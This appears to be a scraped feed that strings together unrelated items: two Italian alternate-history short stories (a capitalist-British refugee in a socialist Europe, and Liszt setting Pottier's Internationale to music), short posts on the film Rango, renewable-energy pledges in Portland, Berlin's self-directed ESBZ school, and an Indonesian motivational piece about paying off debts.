"Dupont. Ma può chiamarmi Anne. Temo che non ne troverà neppure in futuro. Nell'Unione non se ne producono più. Fino a qualche tempo fa, le importavamo dal suo paese".
"Oh, già, ora ricordo. Le esportazioni cessarono sei anni fa. Troppo pochi fumatori, qui da voi. Non c'era abbastanza profitto. Lo so perché all'epoca lavoravo in un'agenzia di rating".
"Lei è analista finanziario?"
Il signor Brasser rise. "No. Laureato in agraria. Da Troody's ero operatore al call center. Ogni grande compagnia ha il suo. E' la mansione che ho sempre svolto, durante tutta la mia carriera. Ho lavorato per almeno trenta società diverse, ogni volta per non più di sei mesi. Si imparano tante cose, sa?"
"Non ho dubbi. Ma veniamo al punto. Lei ha chiesto lo status di rifugiato politico. Data la sua provenienza, certamente la sua richiesta sarà accettata. Lei diventerà fra breve, a tutti gli effetti, cittadino dell'Unione delle Repubbliche Socialiste d'Europa. Già adesso, comunque, lei è libero di circolare in tutto il territorio dell'Unione, ed eventualmente anche di tornare da dove è venuto..."
"No grazie! Non ci tengo affatto".
"Dicevo per dire. In genere, qui da noi i rifugiati si integrano abbastanza in fretta. Tuttavia, non si può escludere che, all'inizio, lei si trovi un po' spaesato. Il nostro sistema sociale è molto diverso da quello da cui lei proviene. A sua richiesta, lei può fruire di adeguata assistenza psicologica e culturale, per superare eventuali difficoltà di adattamento. In questa fase iniziale, se vuole, mi consideri pure come suo referente".
"Oh. E quanto dura questa... fase iniziale?"
"Può finire anche subito, se crede. L'unico suo obbligo, se intende rimanere nell'Unione, è di iscriversi nelle liste di collocamento e nelle graduatorie per gli alloggi. Non credo che le sarà difficile trovare un lavoro e una casa. Se lei non ha esigenze particolari, penso che troverà una sistemazione accettabile nel giro di un paio di settimane. Fino ad allora, comunque, può rimanere qui, o spostarsi in una delle altre strutture di prima accoglienza nel territorio dell'Unione".
"Sembra magnifico. Dov'è la fregatura?"
"Ecco. Era proprio ciò che intendevo. Non c'è nessuna fregatura, per quanto lei sia abituato a pensare che debba per forza esserci. Non pretendo che lei mi creda. Presto se ne accorgerà da sé".

Non c'erano straordinari da fare, quel giorno. Alle tredici, Anne spense il computer, salutò i colleghi che arrivavano per il turno pomeridiano e, senza passare dalla mensa, prese l'elio-tram che, serpeggiando silenziosamente lungo la costa, la portò a casa sua in dieci minuti. Era una magnifica giornata di sole. Il mare era inusualmente calmo, in quei giorni. Una fortuna, per Brasser. Aveva evitato il triste destino di tanti boat-people che partivano clandestinamente dalla riva inglese ma non riuscivano a raggiungere i nostri mezzi di soccorso nelle acque internazionali.

Anne abitava da sola. Si preparò un leggero pranzo macrobiotico, poi un caffé d'orzo. Accese la radio; la spense. Si guardò nello specchio del soggiorno. Sorrise. Tutto sommato, si piaceva. Si chiese come sarebbe stato il suo sembiante, alla sua età, se anziché in Europa continentale fosse vissuta in quell'inferno che doveva essere Londra. I profughi le avevano raccontato storie orribili. Inquinamento, degrado. Se andava bene, orari lavorativi di dieci o dodici ore. Altrimenti, la disoccupazione, l'emarginazione e la pazzia. Oppure, per una ristretta minoranza, la ricchezza e il potere, ma a costo di rinunciare a qualsiasi barlume d'umanità. Un'altra forma di follia, in fondo.

Mercoledì 7 gennaio, ore 10,00. Secondo colloquio con Monsieur Brasser.

Quella mattina l'aspetto di Mr. Brasser era molto migliorato. Anne glielo disse.
"Grazie, Dottoressa. Lei è gentile quanto bella".
Anne Dupont ignorò il complimento.
"Se ho chiesto un nuovo colloquio" continuò Brasser, "non è per ottenere assistenza psicologica".
"Davvero? E perché, allora?"
"Ho due domande da porle".
"Le risponderò, se posso. Ma prima, permetta che le faccia io una domanda. Cosa sa, lei, dell'Unione?"
"Poco, in realtà. So che dapprima ci fu la Rivoluzione d'Ottobre, in Russia, nel 1917. Poi, tra il '18 e il '20, il capitalismo fu abbattuto in Germania, in Ungheria e in Italia. In rapida successione, tutte le colonie europee in Asia e in Africa conquistarono l'indipendenza. L'India nel 1925, la Cina nel '27, e così via. Poco dopo fu la volta dell'Algeria e del Marocco, e a quel punto la rivoluzione scoppiò anche in Francia e in Spagna. Alla fine degli anni '30, tutta l'Europa continentale era socialista.
Frattanto, il crollo di Wall Street nel 1929 aveva gettato l'America nella crisi più nera. Le elezioni presidenziali del 1940 furono vinte da Charles Lindbergh, un fanatico antisemita che instaurò negli U.S.A. una dittatura razzista, appoggiata dal grande capitale. Presto quel regime si circondò di una serie di stati-satellite che coprivano tutta l'America del Sud e del Nord.
Negli anni '80, quelle dittature iniziarono ad implodere, dapprima in America Latina e poi in Canada. Quando nel 1989 cadde il Muro di Tijuana, finalmente il capitalismo crollò negli stessi Stati Uniti. Da allora, secondo la nostra propaganda, il Regno Unito di Gran Bretagna è rimasto l'ultimo baluardo del libero mercato e della civiltà, contro la barbarie socialista che ha travolto tutto il resto del globo. Questo è quanto".
"Bene - disse la dottoressa - a parte la faccenda del baluardo, il quadro storico è corretto. Non le sarà stato facile ricostruirlo..."
"No, infatti. Da noi, formalmente, la cultura è libera, e ognuno può leggere ciò che vuole. Si possono prendere in prestito, nelle poche biblioteche rimaste, anche testi di Marx o di Lenin, e persino di Fabio Volo. Non è vietato. Di fatto, però, ci sono materie che non conviene approfondire troppo. Se si viene a sapere che lei fa certe letture e che ha determinate idee (e si viene a sapere sempre), non speri di trovare lavoro tanto facilmente. Io me la sono cavata con i call center, solo perché le mie origini non sono troppo umili. Quando avevo vent'anni, i miei riuscirono persino a mandarmi all'università. Certo, oggi non potrei più frequentarla. Da allora le rette sono decuplicate."
"Ah, lei ha letto Fabio Volo? Complimenti. Da noi, molti lo considerano un autore troppo difficile".
"Sì, è molto rigoroso e denso, ma se si ha tempo da dedicargli, è un pensatore affascinante. Le consiglio la Critica del tempo unidimensionale, se non l'ha ancora letta. A me ha aperto la mente. In realtà, uno dei motivi per cui mi sono deciso ad espatriare è che anche studiare per conto proprio da noi è diventato impossibile. Troppo costoso, da quando il dizionario è stato privatizzato".
"Il dizionario?"
"Sì. Tutti i sostantivi che iniziano per vocale appartengono alla Mircosoft. Quelli che iniziano per consonante sono del gruppo Murdogh. Gli avverbi sono di Merdaset, e così via. Per leggere o per usare comunque le parole bisogna pagare il noleggio ai legittimi proprietari. Quando lei scrive una e-mail, oppure quando chatta o quando telefona, un sistema di contatori automatici calcola la cifra e l'addebita sul suo conto. Ottimo sistema, fra l'altro, per controllare i contenuti della comunicazione. Io, per esempio, ho fatto quindici giorni di carcere per uso illecito di marchio registrato, la volta che in una mia mail ho scritto che la Cocca Colla mi faceva schifo".
"Senta, Mr. Brasser. Quali sono i suoi progetti? Cosa intende fare, ora che è venuto qui da noi?"
"Primo, togliermi una curiosità che mi ha tormentato a lungo. Ed è la prima delle due domande che volevo farle, si ricorda?"
La dottoressa Dupont sbuffò. "Va bene. Spari".
"La domanda è: perché non ci avete invaso? Come avete potuto lasciarci a mollo in quella fogna?"
Anne si appoggiò sullo schienale della sedia. "Beh, alcuni partiti in seno all'Internazionale erano per dichiarare guerra. Ma infine prevalse l'idea che il socialismo non può essere imposto con i carri armati. Se ci avessero attaccato, ci saremmo difesi. Per fortuna non accadde. Oggi, poi, molti sostengono che una pluralità di sistemi sociali diversi non è necessariamente un male. In India, in Giappone e in Sud America, dove la transizione al comunismo è molto avanzata, stanno già smantellando le strutture dello Stato, per sostituirle con vari tipi di organizzazione non statuale. In Europa e in Africa ci troviamo ancora nella fase socialista, in vari stadi di sviluppo a seconda dei territori. Forse è bene che ci siano delle zone dove ancora vige il capitalismo."
"Sarà un bene per voi, che ci osservate dall'esterno come se fossimo allo zoo! Ma per noi che siamo in gabbia è un altro discorso".
"Lei ora non è più in gabbia. Comunque, mi sembra che il suo atteggiamento nei confronti del suo paese d'origine sia un po' troppo negativo, non crede?"
"Mi dica lei cosa ci vede di bello, in quel letamaio", ribatté Brasser.
"Beh, che so... Avete una scena musicale molto vivace. Un sacco di gruppi pop, rock, punk, post-punk... Wim Wenders ci ha fatto anche un film. Poi, comunque, il vostro sistema ha ancora una base di consenso popolare".
"Si riferisce a West End London Social Club, vero? Quel film mi dà la nausea! Le televisioni del regime lo replicano senza tregua. L'unico film d'autore trasmesso in prima serata, e senza interruzioni pubblicitarie."
"Ecco, ad esempio - lo interruppe la dottoressa - Perché lei parla di televisioni di regime? Da voi ci sono sei o sette canali, se non sbaglio, tutti privati e in concorrenza fra loro..."
"... e trasmettono tutti le stesse schifezze. Non si distinguono l'uno dall'altro. Anne, lei non ha capito: da noi l'economia è allo sfascio, la società è in piena decadenza, la cultura è morta e sepolta. L'unica attività che va a gonfie vele è la manipolazione del consenso per mezzo dei mass-media. Quella è l'unica industria che non conosce crisi!"
"Non volevo farla arrabbiare. Si calmi. Lei ora è al sicuro. Andrà tutto bene. Respiri profondamente, e mi faccia la seconda domanda che voleva pormi".
"Mi scusi. La domanda è questa. Lei è libera stasera? Ho letto sul giornale che in un cinema d'essai a Dunkerque proiettano L'Atalante di Jean Vigo. E' una vita che desidero vedere quel film, e mi chiedevo se... lei volesse venire con me a vederlo, ecco."


Pubblicato su Evulon in due puntate: la prima il 7 gennaio 2011 qui, e la seconda il 12 gennaio 2011, qui.
          La rivoluzione russa        
La mattina del 20 settembre 1871, il Maestro Franz Liszt si esercitava al pianoforte nello studio della sua sontuosa magione di campagna vicino Budapest, quando fu interrotto da un confuso e concitato vociare proveniente dal portone d'ingresso.

"Che succede, Pierre?" chiese mentre raggiungeva il suo maggiordomo, il quale, bloccando con il suo corpo l'accesso alla casa, stava palesemente cercando di convincere un ospite indesiderato ad andarsene.

Quando Liszt, avvicinatosi dietro le spalle del suo domestico, poté scorgere l'aspetto dell'intruso (un uomo sui sessant'anni, calvo, barbuto, che sembrava assai malmesso, ma parlava un francese forbito con marcato accento parigino), quest'ultimo troncò subito, lasciando una frase a metà, il suo litigio con Pierre e, volgendo speranzoso lo sguardo al padrone di casa, così lo apostrofò:

"Maestro Liszt! Maestro! Vi prego, degnatevi di concedere udienza ad un vostro grande ammiratore, giunto or ora dalla Francia solo per avere l'inestimabile onore di fare la Vostra conoscenza!"

"Padrone!" diceva intanto il maggiordomo, "lasciate che cacci via a calci nel sedere questo vagabondo che pretende di farsi ricevere da Voi! E' inaudito! Come se qualsiasi pitocco potesse..."

"Va bene, Pierre, lascia pure entrare Monsieur... di grazia, come vi chiamate?"

Il viso dello strano ospite si rasserenò. "Mi chiamo Eugène Pottier. Da Parigi. Poeta. Per servirvi. Sapevo che avreste... oh, grazie, mille grazie, Maestro!"

"Potete chiamarmi semplicemente Padre. Come forse saprete, non sono che un umile servitore di Santa Romana Chiesa... Ma accomodatevi nel mio studio, ve ne prego, e raccontatemi di voi..." diceva Liszt mentre accompagnava il suo ammiratore lungo il corridoio. "Venite da Parigi, avete detto?", qui il musicista scoccò uno sguardo sospettoso sul suo interlocutore. "E dove siete diretto, se posso..."

Mentre Liszt tornava a sedersi al suo pianoforte, Pottier si accomodò su un'ampia poltrona disposta in modo da fronteggiare il lato destro dello strumento. Come in una sala da concerto, pensò Pottier un po' a disagio. "Maestro, cioè scusatemi, Padre. Avete già capito. Sono un combattente della Comune. Sono in esilio, ramingo per l'Europa, da ormai quattro mesi. Ma non voglio annoiarvi con il racconto delle mie tribolazioni. Sono venuto qui, attratto dalla vostra fama di grande artista e di uomo già attento alla questione sociale, perché ho un testo, da me composto, che vorrei chiedervi di porre in musica".

Ci furono alcuni secondi di silenzio, durante i quali le palpebre di Liszt si aprirono e si chiusero spasmodicamente per una ventina di volte. "Monsieur Pottier... vi rendete conto, spero, del rischio a cui state esponendo voi stesso e me. Mi è difficile comprendere come siate potuto giungere fin qui dalla Francia. Ma, che la vostra sia stata fortuna o incoscienza, sappiate che la polizia asburgica non è affatto indulgente con quelli come voi, né con chi dà loro rifugio."

Pottier si raddrizzò sulla poltrona. "Né fortuna, né incoscienza, Monsieur Liszt. Siamo stati sconfitti, è vero. Ma abbiamo compagni ovunque, pronti a dare il loro silenzioso contributo alla Causa. E' grazie alla loro solidarietà che sono riuscito a sopravvivere e ad arrivare a voi. La musica che porto con me" - a questo punto Pottier tirò fuori da una tasca della giacca un fascicolo spiegazzato, ingiallito e sgualcito, e lo tese a Liszt - "mi induce a confidare anche nella vostra solidarietà".

Sempre più stupito, ma senza offuscare la politezza dei suoi modi da gentiluomo, il musicista prese l'opuscolo che lo strano visitatore gli porgeva. Era uno spartito a stampa che recava sopra il pentagramma il titolo Lyon e il motto: Vivre en travaillant, ou mourir en combattant. Che si potrebbe tradurre, a un dipresso: Vivere del proprio lavoro, o morire combattendo.

"Dove l'avete trovata?" chiese subito Liszt. "Questa composizione non fa più parte della raccolta delle mie opere. Non viene più ristampata da..."

"Dal 1837" lo interruppe Pottier. "Me la regalò mio padre, il giorno del mio ventunesimo compleanno. Mi spiegò che un grande musicista l'aveva composta per celebrare il ricordo della rivolta degli operai disoccupati di Lione. Mi disse: se vuoi davvero fare l'artista, prendi esempio, figlio mio, e ricordati sempre da quale parte della barricata devi stare!"

Liszt guardò fisso il suo ospite, che ricambiava lo sguardo con fermezza. Poi sospirò. "Monsieur Pottier, i tempi sono cambiati. Persino quella testa calda del mio amico Wagner se n'è reso conto, ed è passato (come direste voi) dall'altra parte della barricata. L'epoca delle rivoluzioni è finita. Per sempre. Anche voialtri, col vostro folle tentativo laggiù in Francia, lo avete dimostrato. Datemi retta: la vostra cosiddetta questione sociale non ha alcuna soluzione. Non su questa terra, almeno. La sola cosa che posso fare per voi è scrivere due righe al priore del convento francescano che si trova a una lega da qui. E' mio amico. Vi darà ricetto e ospitalità, fino al giorno in cui Dio, nella Sua infinita misericordia, illuminerà la vostra mente, come già fece con la mia. Allora anche voi comprenderete, e vi rassegnerete alla Sua volontà".

Pottier rimase in silenzio. Poi fece per rimettere in tasca l'altro foglio di carta che ne aveva tratto poco prima e che stava per consegnare al grande musicista. Ma gli tremava la mano e, senza che lui se ne accorgesse, il foglio cadde per terra. Infine disse: "Bene, Monsieur Liszt. Vi chiedo scusa per l'incomodo e per il rischio che vi ho fatto correre. Mi ero sbagliato sul vostro conto. Ora non vi importunerò ulteriormente e, col vostro permesso, riprenderò il mio viaggio."

Stava per uscire senz'altro dallo studio di Liszt, ma quest'ultimo lo richiamo: "Aspettate, Monsieur Pottier. Non fatemi il torto di rifiutare la mia ospitalità, almeno sino a domattina... Tra poco sarà servita la colazione. Frattanto, accomodatevi, e siate così gentile da attendere che abbia finito i miei esercizi. Fra l'altro, suono meglio quando ho un pubblico ad ascoltarmi. Posso chiedervi inoltre, nuovamente, qual è la meta del vostro viaggio?"

Eugène Pottier si risedette. "Credo che andrò in Russia. C'è molto lavoro da fare, laggiù".

"In Russia!?" esclamò Liszt. Stava per aggiungere: voi siete pazzo, ma si trattenne. "Voi non sapete quel che dite! Ogni giorno, ogni giorno lo Zar incarcera, spedisce in Siberia o manda sul patibolo gente come voi! Ecco, guardate" - Liszt prese in fretta dallo scrittoio una rivista - "guardate questo giornale che mi è arrivato ieri da San Pietroburgo. Sapete leggere il cirillico? Ecco l'elenco dei terroristi che sono stati impiccati il mese scorso per avere cospirato contro la monarchia: Rodion Raskolnikov, Nikolaj Stavrogin, Aleksandr Uljanov... Va avanti per un'intera pagina! E voi volete andare in Russia?"

Pottier ribatté con calma: "Terroristi, avete detto? Uhm... no, non è questa la strada. Noi vinceremo, ma seguendo un altro cammino."

"Ah, sì? E quale, se mi è concesso chiederlo?

"Non lo so. Forse la strada non c'è. Ma so che c'è da camminare".

Liszt sospirò. Guardò Pottier. Poi guardò il giornale russo. Poi guardò il suo pianoforte. Infine ci si sedette e, senza dire niente, attaccò a suonarlo.

Suonava già da un quarto d'ora, e le tortuose armonie della Sonata in si minore si dipanavano con sicurezza sotto le sue dita, come un filo di lana in un labirinto, quando Liszt sentì un suono inconfondibile provenire dalla poltrona del poeta. Liszt portò a termine l'esecuzione della Sonata, poi si alzò dal pianoforte e risistemò delicatamente il poggiatesta imbottito sotto la tempia di Pottier. Quest'ultimo smise di russare, ma non si svegliò. Poi il musicista si chinò a raccogliere il foglio di carta che era caduto dalla tasca di Pottier. Si risedé al pianoforte e lo lesse. Era scritto in versi e iniziava così:

"Debout, les damnés de la terre
Debout, les forçats de la faim!
La raison tonne en son cratère
C'est l'éruption de la fin.
Du passé faisons table rase.
Foules, esclaves, debout, debout!
Le monde va changer de base.
Nous ne sommes rien, soyons tout!"


Il poema andava avanti su questo tono per un'altra decina di strofe. Liszt lo lesse con attenzione. Poi sbuffò forte col naso, mise il foglio da parte e si rimise al piano. Attaccò a suonare una sua composizione che s'intitolava Funérailles. Si interruppe dopo poche battute. Poi, per la prima volta dopo decenni, dalla cassa armonica rintoccarono le possenti note iniziali di Lyon. Ma anche questa esecuzione fu lasciata a metà.

Liszt si prese la faccia tra le mani. Cosa gli stava succedendo?

Infine il musicista sembrò distendersi. Riprese in mano il foglio con la poesia di Pottier e lo pose sul leggìo. Iniziò ad improvvisare. Si udì una melodia piuttosto bella, allo stesso tempo vivace e solenne, in ritmo giambico. (Molto tempo dopo, qualcuno l'avrebbe descritta come una via di mezzo fra Oh, my darling Clementine e La cucaracha).

Subito iniziò a variare. Mentre un ritmo lento, profondo e pauroso rombava nella parte sinistra della tastiera, la melodia si trasformò in un canto popolare slavo che sembrava provenire dall'inizio dei tempi.
Poi il ritmo si fece più veloce, incalzante e sincopato, come di tamburi africani, mentre la melodia, stranamente deformata in semitoni, diede l'allucinante impressione di provenire non più da un pianoforte, ma da una tromba con sordina, o da qualche altro strano strumento a fiato non ancora inventato.

Poi ancora la stessa melodia, resa esile, sottile e tintinnante, si stagliò nelle zone alte della tastiera, sullo sfondo di colpi molto distanziati, come di un gong, che provenivano dalla mano sinistra. Senza soluzione di continuità, questo tintinnio si tramutò nel canto di un muezzin. Poi fu come se, prodigiosamente, tutte queste versioni della stessa identica melodia risuonassero insieme. Pottier, che nel frattempo si era svegliato, non credeva ai propri occhi. Le mani di Liszt si muovevano ad una velocità sovrumana, producendo una fittissima gragnuola di note di ogni altezza, che scemava e poi di nuovo s'intensificava, fino a scoppiare in un'onda di energia di terrificante violenza. Infine, mentre le ultime risonanze dell'esplosione ancora si dissolvevano, la melodia iniziale ritornò piano, semplice ed infantile, lenta, simile ad un carillon che suonasse una ninna-nanna.

La straordinaria esibizione di Liszt aveva intanto richiamato tutta la sua servitù, che si era raccolta ad ascoltare in un piccolo drappello dietro la porta dello studio: erano anni che non lo sentivano suonare a quel modo. Fra di loro, c'era una famigliola composta da una giovane coppia con la loro bambina di tre anni.

"Hai sentito, Sandor?" disse la moglie. "Tu dicevi che il vecchio si era ormai completamente rincitrullito..."

"Sì, Hannah, te lo confermo: il vecchio si è totalmente rimbecillito. Ma per sua fortuna, le mani ce le ha ancora buone. Vieni, Milena!" prese in braccio la sua figlioletta, "ascolta. Un giorno anche tu dovrai suonare così".

Pubblicato il 7 ottobre 2010, qui: http://www.evulon.net/news.php?extend.3549


          Rango: Pixologic Interviews Our Team!        

Here you can check a cool interview with our talented team of artsists at ILM, presented by Pixologic, makers of the software ZBrush:                 Thanks to our model supervisor Geoff Campbell for the opportunity and thank you Pixologic for the great job putting this interview together!!! -Kris
          Rango!        

If you’re curious to know more about what I’ve done on this movie, here is a short list of what to look for: Hero characters: – Waffles (the spiky looking horned toad) – model, displacement and facial shapes – The Spirit of The West (Stylized Clint Eastwood) – model, displacement and facial shapes – The […]
          '..committed to 100 percent clean energy by the year 2050.' (no replies)        
'Leaders from the City of Portland and Multnomah County have committed to 100 percent clean energy by the year 2050.

In an announcement earlier this week, authorities said that their goal was to meet the community's electricity needs with renewables by the year 2035 and to move all remaining energy sources to renewable ones by 2050.

..

Multnomah County is the most populous county in Oregon. Its Chair, Deborah Kafoury, welcomed the news. "This is a pledge to our children's future,'' she said. "100 percent renewables means a future with cleaner air, a stable climate and more jobs and economic opportunity.''

Portland is among a number of U.S. cities looking to embrace renewables. Over the weekend Chicago's Mayor, Rahm Emanuel, announced that city buildings there were to be powered by 100 percent renewable energy by 2025.'

- Anmar Frangoul, Portland commits to 100 percent renewable energy by 2050, April 12, 2017


Context

(Fusion Power) - LPP Focus Fusion 1; '..FF-1 results are right now far ahead..'

(Fusion Power) - '..LPP has so far has two out of the three necessary ingredients for successful breakeven..'

'..to Ban Internal Combustion Engines by 2030'


The nuclear retreat - '..the global transition to sustainable 100 percent renewable energy.' - '..in Europe by 2050.'

(To Heal) - '..the forces and forms of nature -- clouds, mountains, waves -- in cities of the future.'

(In The Electric Universe) Open Source Infrastructure, beginning of the Enterprise Nervous System (ENS)

          (Bazaarmodel - To Heal - Teal) - '..is it possible to build a truly Evolutionary-Teal school?' (no replies)        
'This factory-like system seems increasingly out of date. More and more people are crying out for innovation in education and starting to experiment with curricula, technologies, and governance in schools. But is it possible to build a truly Evolutionary-Teal school? And what would it look like? A superb example can be found in the center of Berlin in Germany. The “ESBZ” is a grade 7-12 school that opened its doors in 2007 with more than a bit of improvisation. Just three months before the start of the school year, the city council had suddenly given a decrepit prefabricated building from communist times to a group of pesky parents who simply wouldn’t let go of their dream. When the school year started, only 16 students were registered. A few months later, at the mid-year point, 30 more students had joined, mostly rejects and troublemakers other schools had expelled. Hardly a promising start for a new school. And yet today, only a few years later, the school has 500 students and attracts hundreds of principals, teachers, and education specialists from all over the country who want to study the ESBZ model.'

- Frederic Laloux, (Reinventing Organizations, Chapter 2.2 _ Self-management Structures), page 93


'..Yet unlike Sudbury, Montessori or Steiner schools, Rasfeld’s institution tries to embed student self-determination within a relatively strict system of rules. Students who dawdle during lessons have to come into school on Saturday morning to catch up, a punishment known as “silentium”. “The more freedom you have, the more structure you need,” says Rasfeld.

The main reason why the ESBC is gaining a reputation as Germany’s most exciting school is that its experimental philosophy has managed to deliver impressive results..'


'..At Oberländer’s school, there are no grades until students turn 15, no timetables and no lecture-style instructions. The pupils decide which subjects they want to study for each lesson and when they want to take an exam.

The school’s syllabus reads like any helicopter parent’s nightmare. Set subjects are limited to maths, German, English and social studies, supplemented by more abstract courses such as “responsibility” and “challenge”. For challenge, students aged 12 to 14 are given €150 (£115) and sent on an adventure that they have to plan entirely by themselves. Some go kayaking; others work on a farm. Anton went trekking along England’s south coast.

The philosophy behind these innovations is simple: as the requirements of the labour market are changing, and smartphones and the internet are transforming the ways in which young people process information, the school’s headteacher, Margret Rasfeld, argues, the most important skill a school can pass down to its students is the ability to motivate themselves.

“Look at three or four year olds – they are all full of self-confidence,” Rasfeld says. “Often, children can’t wait to start school. But frustratingly, most schools then somehow manage to untrain that confidence.”

The Evangelical School Berlin Centre (ESBC) is trying to do nothing less than “reinvent what a school is”, she says. “The mission of a progressive school should be to prepare young people to cope with change, or better still, to make them look forward to change. In the 21st century, schools should see it as their job to develop strong personalities.”

Making students listen to a teacher for 45 minutes and punishing them for collaborating on an exercise, Rasfeld says, was not only out of sync with the requirements of the modern world of work, but counterproductive. “Nothing motivates students more than when they discover the meaning behind a subject of their own accord.”

Students at her school are encouraged to think up other ways to prove their acquired skills, such as coding a computer game instead of sitting a maths exam. Oberländer, who had never been away from home for three weeks until he embarked on his challenge in Cornwall, said he learned more English on his trip than he had in several years of learning the language at school.

Germany’s federalised education structure, in which each of the 16 states plans its own education system, has traditionally allowed “free learning” models to flourish. Yet unlike Sudbury, Montessori or Steiner schools, Rasfeld’s institution tries to embed student self-determination within a relatively strict system of rules. Students who dawdle during lessons have to come into school on Saturday morning to catch up, a punishment known as “silentium”. “The more freedom you have, the more structure you need,” says Rasfeld.

The main reason why the ESBC is gaining a reputation as Germany’s most exciting school is that its experimental philosophy has managed to deliver impressive results..

..

Aged 65 and due to retire in July, Rasfeld still has ambitious plans. A four-person “education innovation lab” based at the school has been developing teaching materials for schools that want to follow the ESBC’s lead. About 40 schools in Germany are in the process of adopting some or all of Rasfeld’s methods. One in Berlin’s Weissensee district recently let a student trek across the Alps for a challenge project. “Things are only getting started,” says Rasfeld.

“In education, you can only create change from the bottom – if the orders come from the top, schools will resist. Ministries are like giant oil tankers: it takes a long time to turn them around. What we need is lots of little speedboats to show you can do things differently.” '

- Philip Oltermann, No grades, no timetable: Berlin school turns teaching upside down, July 1, 2016


Context

(To Heal - Teal - Bazaarmodel) - Striving for wholeness '..We have let our busy egos trump the quiet voice of our soul; many cultures often celebrate the mind and neglect the body..'

(Bazaarmodel - To Heal - Teal) - 'Your physical .. cultural .. soul heredity..'

(To Heal) - Overview of Focus Levels '..to areas of greater free will choice.'


(To Heal) - Overview of Focus Levels '..to areas of greater free will choice.'

          Tropical Disease Bingo!        
Peace Corps Cameroon Tropical Disease Bingo! We’re in Yaounde this week for Mid-Service Medical, during which they give every volunteer a physical and test our bodily fluids to see if we’ve acquired any fun new tropical diseases. To commemorate the occasion of being in Cameroon for a whole year, I made an official Peace Corps Cameroon [...]
          BAYAR HUTANG (sym)        
Engga usah ngutang, atau bayar. Ini cara aman engga dikejar hutang! Cang Haji Muhidin ketawa. “Juned, Juned… hutang saya aja belonan pada lunas, Kamu malah nanya saya pegimana caranya supaya hutang lunas!”Yang diketawain tersenyum kecut. Juned datang ke Cang Haji minta wiridan, amalan/bacaan zikir yang bisa ngebebasin hutang. Tidak lupa ia juga minta Cang Haji bantuin ngewiridin. Juned ini lagi dikejar-kejar hutang. Yang ngejar mending kalo baik-baik, ini banyak yang cerewet. Dan kalo Juned engga ada uang, mereka ini suka nyap-nyap di depan pintu rumahnya! Juned jadi malu ama tetangga.“Bayar Ned, bayar. Itu kuncinya kalo engga mau dikejar hutang…”“Saya engga duit Cang Haji…”“Lah, dulu kenapa ngutang…?” Juned diam. Hatinya ngegerutu kecil. Maksud hati pengen minta tolong, eh Cang Haji malah nyudutin dia. “Iyalah…” Cang Haji mulai menghibur. “Ada wiridnya, ada do’anya. Emang juga siapa tahu bisa dikabulin Allah. Mintakan engga ada salahnya. Iya kan Ned?” Juned mulai tersenyum. “Tapi ingat Ned, jangan cuma dibaca ini wirid dan doa, tapi Kamu harus tetap giat kerja, giat usaha. Hadepin baik-baik tuh orang-orang. Dulu waktu ngutangnya Kamu ngadep baik-baik, masa sekarang ngumpet-ngumpet? Kalo Kamu cuma baca, tapi engga ada usaha, sama saja. Apalagi kalo Kamu dah bikin mereka tambah kecewa gara-gara menghindar dan menghindar, sehingga terkesan lari dari masalah.” Cang Haji lantas ngasih wirid dan doa sama Juned. “Tapi Ned, baiknya, Kamu tuh berdoa pake bahasa Kamu aja sendiri. Kamu ungkapin kegundahan hati Kamu, kesusahan hati Kamu. Dia Maha Mendengar. Dia akan mendengar semua keluh kesah kita. Yang penting, Kamu perbaikin hubungan Kamu dengan Dia, dan hubungan Kamu dengan manusia yang lain.” “Setelah itu, Kamu kudu yakin sama kemampuan Kamu sendiri. Pikiran kita ada dua, ada yang positif dan ada yang negatif. Yang positif tuh selalu mengajarkan keberanian menghadapi masalah, kepercayaan akan kemampuan menangani masalah, dan selalu berorientasi pada hal-hal yang baik saja. Nah, kalo Kamu kedepanin bagian dari pikiran yang positif-positif saja, Kamu jadi berani dan percaya diri. Dan hidup Kamu jadi tidak terlalu burem serta tidak tegang. Nah, kalau pikiran negatif, ia akan selalu mengajarkan ketakutan dan kekhawatiran dibenak Kamu. Walhasil Kamu jadi takut dan khawatir sendiri. Padahal mah engga ada apa-apa. Pikiran yang negatif juga akan mendidik kita untuk tidakpercaya diri bahwa kita mampu menyelesaikan masalah-masalah kita. Akhirnya, kita jadi benar-benar tidak mampu. Makanya, jangan biarkan pikiran negatif mendominasi. Buang saja. Bermasalah boleh, tapi kehilangan kepercayaan diri engga boleh. Masalah mah biasa, siapa sih yang engga punya masalah? Tinggal bagaimana cara menghadapi masalah. Itu saja.” Adem sekarang pikiran Juned. Dia jadi lebih berani sekarang setelah dimotivasi Haji Muhidin. *** Ngomong-ngomong apa yang dibilang Cang Haji benar juga. Kalau engga mau dikejar hutang, jangan berhutang. Tapi bila sudah terlanjur punya hutang, dan kebetulan tidak ada kemampuan membayar, bolehlah perhatikan hal berikut ini: Negosiasi ulang. Baik untuk pengunduran jadwal pembayaran atau hal-hal lain yang bisa jadi jalan keluar bayar hutang. Tetap usaha, jangan diam. Cari usaha yang aman, yang bukan lewat cara gali lobang tutup lobang. Minta tolong sama Allah. Kalau Dia sudah berkenan, tidak ada hutang yang tidak bisa di bayar. Paling cuma masalah waktu. Pasrah kepada kejadian masa depan kepada Kuasa Allah. Yah, siapa tahu hutang kita lunas. Kan, engga mau kan bila hutang terbawa hingga liang kubur? Bukan amal yang dibawa, malah hutang! Bermasalah boleh, tapi kehilangan kepercayaan diri tidak boleh terjadi. *** Biasa ya Allah, bila sudah sulit baru menghadap Engkau. Tapi bukankah Engkau adalah Tuhan yang tidak pernah menutup pintu pertolongan bagi siapa yang meminta? Ya Allah jangan biarkan hamba bermain-main dengan Kemurahan-Mu dan Kebijaksanaan-Mu. Jangan biarkan hamba berulang-ulang melakukan kesalahan yang sama, ataupun kesalahan baru.
          RENUNGKANLAH SAUDARAKU SEMUA        
Ruqayyah Waris Maqsood, Menulis Hingga Nafas Berakhir
